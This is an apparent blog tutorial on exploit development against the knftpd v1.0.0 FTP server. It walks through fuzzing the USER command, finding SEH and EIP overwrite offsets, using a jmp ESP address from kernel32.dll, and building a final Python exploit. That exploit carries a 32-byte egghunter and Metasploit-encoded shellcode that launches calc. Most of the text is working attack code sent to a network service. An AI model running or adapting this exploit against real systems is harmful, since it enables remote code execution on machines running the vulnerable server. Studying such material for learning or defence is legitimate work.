Just follow the applications flow

knftpd v1.0.0
In a concept if we are finding the application which have SEH protection in our process of an exploit development we must bypass the SEH protection first using POP,POP,RETN instruction and then we have control the EIP register at Next SEH position, but sometimes we must follow the applications flow.
Now we will try to do how to build an exploit with following the applications flow. We will use knftpd-v1.0.0 application. Hem, it's a sounds good to be practice materials in this case. I know if it already exploited in last year and the exploit can be found here, but here i'm trying to explain how to build an exploit at that application.
The application have overflow if we sending an overly long request to Multiple FTP command, so we can create fuzzer like below to have crash in that application :

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "\x41"*2000
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
After we're fuzzing the application, it have crash and the SEHandler overwrited (we can see about SEHandler overwrited with debugger)
Ok, the SEHandler have overwrite, to know on how many byte of our buffer which needed in order to overwrite the SEHandler of that application, we need to generate a pattern and insert it into our fuzzer's buffer. To generate the pattern, we can use metasploit tools, or mona plugin in Immunity Debugger. And then we insert the pattern to our fuzzer's buffer, after we insert the pattern, the fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab....." #generate 2000 pattern
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
Send again the fuzzer and now the SEHandler have a value of our generated pattern.
From the pattern_offset we are knowing if the SEHandler was overwrite after 324 byte.
So we will send 322 byte junk, after that we insert jmpshort instruction to the nseh, then insert an offset of the POP,POP,RETN instruction to bypass the SEH protection and then insert junk again as a residual in order to our buffer have values 2000 byte.
Now we search an offset of the POP,POP,RETN instruction, here i'm using mona
Hem, there are four offset which have a good POP, POP, RETN instruction, here i have choose the first offset (0x00403723) and insert it into our fuzzer's buffer, and the fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "\x41"*322
nseh = "\xcc\xcc\xcc\xcc"
seh  = "\x23\x37\x40\x00"
payload = (junk+nseh+seh)
residual= "\x42"*(2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
If we send the fuzzer like above should the SEHandler will have a value of the offset POP POP RETN, but in the fact the SEHandler become :
 
However if we follow the flow of that application, we will find if EIP register was overwrite like below
EIP register was overwrite with value 41414141, it look like some value of  322 byte first of our buffer. Hem, may be we can generate the pattern again to find how many byte which needed in order to overwrite the EIP register.
and then our fuzzer look like blow :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2....." #generate 324 pattern
seh  = "\x23\x37\x40\x00"
payload = (junk+seh)
residual= "\x42"*(2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
Now send the fuzzer above and following the flow of that application again, and now our pattern arrive to the EIP register

Now we knew if EIP register was overwrite after 284 byte, and ESP will overwrite after 292 byte, to ensure the fact may be we can generate the fuzzer like below :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "\x41"*284
eip  = "\xef\xbe\xad\xde"
nop  = "\x90"*(324-len(junk+eip))
seh  = "\x23\x37\x40\x00"
payload = (junk+eip+nop+seh)
residual= "\x42"*(2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
And then the result is
DEADBEEF in EIP register, what if we insert an offset of jmp ESP instruction to EIP register? I don't know, but just try it. Here i'm using an offset of jmp ESP instruction from dll which loaded of that application (i'm chose kernel32.dll).
and the fuzzer like as below :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
junk = "\x41"*284
eip  = "\x7b\x46\x86\x7c"
breakpoint  = "\xcc"*(324-len(junk+eip))
seh  = "\x23\x37\x40\x00"
payload = (junk+eip+breakpoint+seh)
residual= "\x42"*(2000-len(payload))
buffer  = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
send the fuzzer, and we have landing in the stack of that application

the stack just have 34 byte space, may be it's not so enough if we want to landing the most wanted shellcode, but its so enough to the staged shellcode egghunter (let's say YEAH...!!!)
Ok, we will insert an egghunter at the stack, because the space of this application so low, then we will insert our shellcode in first 324 byte of our buffer.
so the fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip   = '192.168.56.101'
port = 21
code  = "w00tw00t"
code += "\x90"*4
 

# win32_exec -  EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
code += ("\xbf\x91\x08\xd4\x1a\x31\xc9\xdd\xc4\xd9\x74\x24\xf4\x5a\xb1\x23"
"\x31\x7a\x10\x03\x7a\x10\x83\x53\x0c\x36\xef\xaf\xe5\xf2\x10\x4f"
"\xf6\x71\x55\x73\x7d\xf9\x53\xf3\x80\xed\xd7\x4c\x9b\x7a\xb8\x72"
"\x9a\x97\x0e\xf9\xa8\xec\x90\x13\xe1\x32\x0b\x47\x86\x73\x58\x90"
"\x46\xb9\xac\x9f\x8a\xd5\x5b\xa4\x5e\x0e\xa0\xaf\xbb\xc5\xf7\x6b"
"\x45\x31\x61\xf8\x49\x8e\xe5\xa1\x4d\x11\x11\xd6\x72\x9a\xe4\x03"
"\x03\xc0\xc2\xd7\xd7\xc8\xca\xb3\x5c\x6a\xfb\xbe\xa3\x13\xf7\x4b"
"\x63\xe8\x8c\x3b\x78\x5d\x19\xd3\x88\x76\x17\xa8\x09\x38\x28\xae"
"\x09\xb2\x41\x92\x56\xf5\x67\x8a\x3e\x7c\x7f\xc9\x7f\x05\xd0\xa5"
"\x01\x22\x32\x46\x96\x4a\x4d\x22\x68\x3c\x4d\xd5\x16\xa3\xdd\x7a"
"\xd9")
 

code += "\x90"*(284-len(code))
eip   = "\x7B\x46\x86\x7C"
stack = "\x90"*6


#egghunter 32 byte
stack+= ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
 

nop  = "\x90"*(324-len(code+eip+stack))
seh  = "\x23\x37\x40\x00"
residual= "\x90"*(2000-len(code+eip+stack+nop+seh))
payload = (code+eip+stack+nop+seh+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
Let's fuzzing the application and see whats will happens?

0 comments:

Post a Comment